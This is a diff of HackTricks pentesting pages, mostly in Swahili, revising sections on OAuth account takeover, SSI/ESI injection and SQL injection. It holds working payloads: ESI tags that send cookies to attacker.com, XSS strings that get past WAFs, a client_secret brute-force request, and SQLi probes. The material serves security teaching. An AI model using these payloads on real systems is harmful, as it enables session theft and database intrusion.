||||
@ -75,11 +74,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
Katika utekelezaji wa OAuth, matumizi mabaya au kukosekana kwa **`state` parameter** kunaweza kuongeza hatari ya mashambulizi ya **Cross-Site Request Forgery (CSRF)** kwa kiasi kikubwa. Uthibitisho huu unatokea wakati **`state` parameter** haijatumiwa, imetumiwa kama thamani ya kudumu, au haijathibitishwa ipasavyo, ikiruhusu washambuliaji kupita ulinzi wa CSRF.
|
||||
|
||||
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitishaji ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
|
||||
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitisho ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
|
||||
|
||||
Mifano halisi ya udhaifu huu imeandikwa katika changamoto mbalimbali za **CTF** na **majukwaa ya udukuzi**, ikionyesha athari zake za vitendo. Tatizo hili pia linapanuka kwa ushirikiano na huduma za upande wa tatu kama **Slack**, **Stripe**, na **PayPal**, ambapo washambuliaji wanaweza kuelekeza arifa au malipo kwa akaunti zao.
|
||||
|
||||
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth.
|
||||
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth unakuwa salama.
|
||||
|
||||
### Kabla ya Uchukuaji wa Akaunti <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
@ -90,11 +89,11 @@ Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda d
|
||||
|
||||
Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`** inaweza kufichuliwa kwa usalama, kufichua **`client_secret`** kuna hatari kubwa. Ikiwa **`client_secret`** itakabiliwa, washambuliaji wanaweza kutumia utambulisho na imani ya programu ili **kuiba `access_tokens` za mtumiaji** na taarifa binafsi.
|
||||
|
||||
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia hali ya kuaminika ya programu.
|
||||
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia zaidi hadhi ya kuaminika ya programu.
|
||||
|
||||
### Mshindo wa Siri ya Mteja
|
||||
### Bruteforce ya Siri ya Mteja
|
||||
|
||||
Unaweza kujaribu **kushinda siri ya mteja** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
|
||||
Unaweza kujaribu **bruteforce the client_secret** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
|
||||
Ombi la BF linaweza kuonekana kama:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
@ -111,7 +110,7 @@ Mara tu mteja ana **code na state**, ikiwa inatolewa ndani ya **Referer header**
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa humo**.
|
||||
Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa huko**.
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
@ -146,22 +145,24 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
```
|
||||
Kwa maelezo ya kina zaidi kuhusu jinsi ya kutumia AWS cognito angalia:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Kutumia token za Apps nyingine <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hawakagui kwamba token inamhusu app.
|
||||
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hauhakiki kwamba token inamhusu app.
|
||||
|
||||
Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **token ya OAuth ya mtumiaji iliyotolewa kwa programu yake, na kuitumia kuingia katika programu ya OAuth ya mwathirika kwa kutumia token ya mtumiaji wa mwathirika**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikagui ikiwa token ilitolewa kwa ID ya programu yao.
|
||||
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, atakuwa na uwezo wa kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikaguzi kama token ilitolewa kwa ID yao ya app.
|
||||
|
||||
### Viungo viwili & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingekuwa **imehifadhiwa katika cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** ikiwa anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
|
||||
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingehifadhiwa katika **cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** kama anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
|
||||
|
||||
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingeiweka cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
|
||||
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingekamilisha cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
|
||||
|
||||
### Kupita Mwingiliano wa Prompt <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -182,23 +183,23 @@ Kulingana na [**andiko hili**](https://cybxis.medium.com/a-bypass-on-gitlabs-log
|
||||
|
||||
### ATO kwenye ukurasa wa wavuti unaoelekeza kulingana na uelekezaji wazi kwa referrer <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **upelelezi wazi** kwa thamani kutoka kwa **referrer** kutumia OAuth kwa ATO. Shambulio lilikuwa:
|
||||
Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **uongozi wazi** kwa thamani kutoka kwa **referrer** kutumia OAuth kwa ATO. Shambulio lilikuwa:
|
||||
|
||||
1. Mwathirika anafikia ukurasa wa wavuti wa mshambuliaji
|
||||
2. Mwathirika anafungua kiungo kibaya na opener inaanzisha mchakato wa Google OAuth na `response_type=id_token,code&prompt=none` kama vigezo vya ziada kwa kutumia kama **referrer tovuti ya mshambuliaji**.
|
||||
3. Katika opener, baada ya mtoa huduma kumthibitisha mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer.
|
||||
3. Katika opener, baada ya mtoa huduma kumruhusu mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer.
|
||||
4. Tovuti ya mwathirika **inasababisha uelekezaji wazi kulingana na referrer** ikielekeza mtumiaji wa mwathirika kwenye tovuti ya mshambuliaji, kwani **`respose_type`** ilikuwa **`id_token,code`**, nambari itarudishwa kwa mshambuliaji katika **fragment** ya URL ikimruhusu kuchukua akaunti ya mtumiaji kupitia Google kwenye tovuti ya mwathirika.
|
||||
|
||||
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Angalia utafiti huu**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Kwa maelezo zaidi ya mbinu hii.**
|
||||
|
||||
Usajili wa Wateja wa Kijadi katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
|
||||
Usajili wa Mteja wa Kijani katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za mteja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
|
||||
|
||||
**Mambo Muhimu:**
|
||||
|
||||
- **Usajili wa Wateja wa Kijadi** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
|
||||
- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **OpenID Connect Registration 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
|
||||
- **Usajili wa Mteja wa Kijani** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
|
||||
- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **Usajili wa OpenID Connect 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
|
||||
- Mchakato wa usajili unaweza bila kukusudia kufichua seva kwa SSRF kwa njia kadhaa:
|
||||
- **`logo_uri`**: URL ya alama ya programu ya mteja ambayo inaweza kupatikana na seva, ikisababisha SSRF au kupelekea XSS ikiwa URL itashughulikiwa vibaya.
|
||||
- **`jwks_uri`**: URL ya hati ya JWK ya mteja, ambayo ikiwa imeundwa kwa njia mbaya, inaweza kusababisha seva kufanya maombi ya nje kwa seva inayodhibitiwa na mshambuliaji.
|
||||
@ -207,17 +208,16 @@ Usajili wa Wateja wa Kijadi katika OAuth unatumika kama njia isiyo wazi lakini m
|
||||
|
||||
**Mkakati wa Kutumia:**
|
||||
|
||||
- SSRF inaweza kusababishwa kwa kujiandikisha mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
|
||||
- SSRF inaweza kusababisha usajili wa mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
|
||||
- Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa hatua ya uthibitishaji.
|
||||
|
||||
## Mipangilio ya Watoa huduma wa OAuth
|
||||
## Masharti ya Watoa huduma wa OAuth
|
||||
|
||||
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Mipangilio ya Mbio**](race-condition.md).
|
||||
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Masharti ya Mbio**](race-condition.md).
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,20 +4,20 @@
|
||||
|
||||
## Server Side Inclusion Basic Information
|
||||
|
||||
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
**(Utangulizi umetolewa kutoka** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanatathminiwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
|
||||
Kwa mfano, unaweza kuweka agizo katika ukurasa wa HTML uliopo, kama:
|
||||
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanakaguliwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
|
||||
Kwa mfano, unaweza kuweka agizo kwenye ukurasa wa HTML uliopo, kama:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
Na, wakati ukurasa unapotolewa, kipande hiki kitathminiwa na kubadilishwa na thamani yake:
|
||||
Na, wakati ukurasa unapotolewa, kipande hiki kitakaguliwa na kubadilishwa na thamani yake:
|
||||
|
||||
`Jumanne, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, mara nyingi ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inatolewa, unahitaji kutafuta suluhisho lingine.
|
||||
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, kwa kawaida ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inatolewa, unahitaji kutafuta suluhisho lingine.
|
||||
|
||||
Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye kiendelezis**`.shtml`, `.shtm` au `.stm`**, lakini si hivyo tu.
|
||||
Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye kiambishi chas**`.shtml`, `.shtm` au `.stm`**, lakini si hivyo tu.
|
||||
|
||||
Msemo wa kawaida wa SSI una muundo ufuatao:
|
||||
```
|
||||
@ -56,8 +56,8 @@ Msemo wa kawaida wa SSI una muundo ufuatao:
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
Kuna tatizo la **kuficha taarifa au programu za kidinamik** kama sehemu ya maudhui yanaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya kidinamik ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
|
||||
Ikiwa **mshambuliaji** anaweza **kuiingiza lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuwa na uwezo wa **kuiingiza maudhui yasiyo na mipaka** kwenye hati kabla ya kutumwa kwa watumiaji.
|
||||
Kuna tatizo la **kuficha taarifa au programu za kidinamik** kwani sehemu ya maudhui inaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya kidinamik ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
|
||||
Ikiwa **mshambuliaji** anaweza **kuiingiza lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuweza **kuiingiza maudhui yoyote** kwenye hati kabla ya kutumwa kwa watumiaji.
|
||||
|
||||
### ESI Detection
|
||||
|
||||
@ -66,7 +66,7 @@ Ikiwa **mshambuliaji** anaweza **kuiingiza lebo ya ESI** ndani ya maudhui ya cac
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Ikiwa huwezi kupata kichwa hiki, seva **inaweza kuwa inatumia ESI hata hivyo**.\
|
||||
Mbinu ya **kulipua kipofu inaweza pia kutumika** kwani ombi linapaswa kufika kwenye seva ya washambuliaji:
|
||||
Mbinu ya **kudhulumu kipofu inaweza pia kutumika** kwani ombi linapaswa kufika kwenye seva ya washambuliaji:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
@ -91,8 +91,8 @@ hell<!--esi-->o
|
||||
|
||||
[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
|
||||
|
||||
- **Includes**: Inasaidia amri ya `<esi:includes>`
|
||||
- **Vars**: Inasaidia amri ya `<esi:vars>`. Inafaida kwa kupita XSS Filters
|
||||
- **Includes**: Inasaidia `<esi:includes>` directive
|
||||
- **Vars**: Inasaidia `<esi:vars>` directive. Inatumika kwa kupita XSS Filters
|
||||
- **Cookie**: Vidakuzi vya hati vinapatikana kwa injini ya ESI
|
||||
- **Upstream Headers Required**: Programu za surrogates hazitashughulikia taarifa za ESI isipokuwa programu ya juu itoe vichwa
|
||||
- **Host Allowlist**: Katika kesi hii, ESI inajumuisha inawezekana tu kutoka kwa wenyeji wa seva walioidhinishwa, hivyo kufanya SSRF, kwa mfano, iwezekane tu dhidi ya wenyeji hao
|
||||
@ -120,9 +120,9 @@ Use <!--esi--> to bypass WAFs:
|
||||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||
```
|
||||
#### Kununua Keki
|
||||
#### Kuiba Keki
|
||||
|
||||
- Kununua keki kwa mbali
|
||||
- Kuiba keki kwa mbali
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
@ -136,9 +136,9 @@ Use <!--esi--> to bypass WAFs:
|
||||
|
||||
# It's possible to put more complex JS code to steal cookies or perform actions
|
||||
```
|
||||
#### Fail ya Kibinafsi ya Mitaa
|
||||
#### Faili Binafsi la Mitaa
|
||||
|
||||
Usichanganye hii na "Inclusion ya Faili ya Mitaa":
|
||||
Usichanganye hii na "Ujumuishaji wa Faili la Mitaa":
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Orodha ya Ugunduzi wa Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## What is SQL injection?
|
||||
|
||||
**SQL injection** ni kasoro ya usalama inayowezesha washambuliaji **kuingilia kati na maswali ya hifadhidata** ya programu. Uthibitisho huu unaweza kuwapa washambuliaji uwezo wa **kuangalia**, **kubadilisha**, au **kufuta** data ambazo hawapaswi kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo kama hivyo vinaweza kusababisha mabadiliko ya kudumu katika utendaji au maudhui ya programu au hata kuathiriwa kwa seva au kukatizwa kwa huduma.
|
||||
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
|
||||
|
||||
## Entry point detection
|
||||
|
||||
Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na majibu yasiyo ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data katika swali bila kuharibu**. Hii inahitaji kubaini njia ya **kutoroka kutoka kwa muktadha wa sasa** kwa ufanisi. Hizi ni baadhi ya mifano ya manufaa:
|
||||
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -71,7 +70,7 @@ Orodha hii ya maneno iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia il
|
||||
|
||||
### Kuangalia kwa Muda
|
||||
|
||||
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kubaini SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
|
||||
Katika baadhi ya matukio **hutaona mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kuvumbua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
|
||||
Hivyo, tutakuwa tukiongeza kwenye ombi la SQL operesheni ambayo itachukua muda mrefu kukamilisha:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -133,19 +132,21 @@ Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **kuchapisha toleo l
|
||||
|
||||
### Kutambua na PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Kutumia Union Based
|
||||
|
||||
### Kugundua idadi ya safu
|
||||
|
||||
Ikiwa unaweza kuona matokeo ya ombi hili ndilo njia bora ya kulitumia.\
|
||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote zinapaswa kurejesha idadi sawa ya safu**.\
|
||||
Mbinu mbili hutumiwa kawaida kwa kusudi hili:
|
||||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote mbili zinapaswa kurejesha idadi sawa ya safu**.\
|
||||
Mbinu mbili hutumiwa kawaida kwa ajili ya kusudi hili:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo lipatikane. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
|
||||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -186,51 +187,51 @@ Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadh
|
||||
```
|
||||
_Kuna njia tofauti za kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile metodolojia._
|
||||
|
||||
## Kutumia Union Based Iliyofichwa
|
||||
## Kutumia Union Based iliyofichwa
|
||||
|
||||
Wakati matokeo ya ombi yanaonekana, lakini kuingilia kati kwa msingi wa umoja kunaonekana kuwa haiwezekani, inamaanisha kuwepo kwa **kuingilia kati kwa msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya kuingilia kati kwa kipofu. Ili kubadilisha kuingilia kati kwa kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
|
||||
|
||||
Hii inaweza kufanywa kwa kutumia mbinu za kuingilia kati kwa kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
|
||||
|
||||
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kati kwa msingi wa umoja ambayo sasa inapatikana.
|
||||
Mara ombi litakapokuwa limeondolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kati kwa msingi wa umoja ambayo sasa inapatikana.
|
||||
|
||||
Kwa ufahamu zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Kutumia Kosa Kulingana
|
||||
## Kutumia makosa
|
||||
|
||||
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
|
||||
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kudump DB.
|
||||
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kutoa DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Kutumia Blind SQLi
|
||||
|
||||
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
|
||||
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kuweza** kutofautisha wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
|
||||
Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Kutumia Makosa ya Blind SQLi
|
||||
|
||||
